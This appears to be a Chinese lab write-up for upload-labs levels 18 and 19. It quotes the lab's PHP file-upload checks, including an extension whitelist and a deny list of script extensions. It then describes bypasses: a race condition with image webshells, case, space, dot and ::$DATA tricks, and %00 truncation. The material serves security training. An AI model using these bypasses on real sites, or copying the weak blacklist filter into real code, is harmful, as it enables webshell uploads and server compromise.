 var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );//百名单

这题对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,因此可以通过不断上传图片马,由于条件竞争可能来不及重命名,从而上传成功。

关于上一关可以使用 .php 而 这一关使用图片格式问一些解释

在上一关代码先上传,才进行判断在,而这一关代码首先检查了图片的大小,后缀名,格式等,所以,我们使用 .jpg .png .gif 等格式。

在这里插入图片描述

upload-labs-19

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传失败!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

发现为黑名单

(本题检查的是保存名称)

所以我们可以使用 大小写绕过,空格绕过,点绕过,::$DATA绕过

同时,白名单的方法我们也可以使用:00截断 上传图片马

  • 10
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值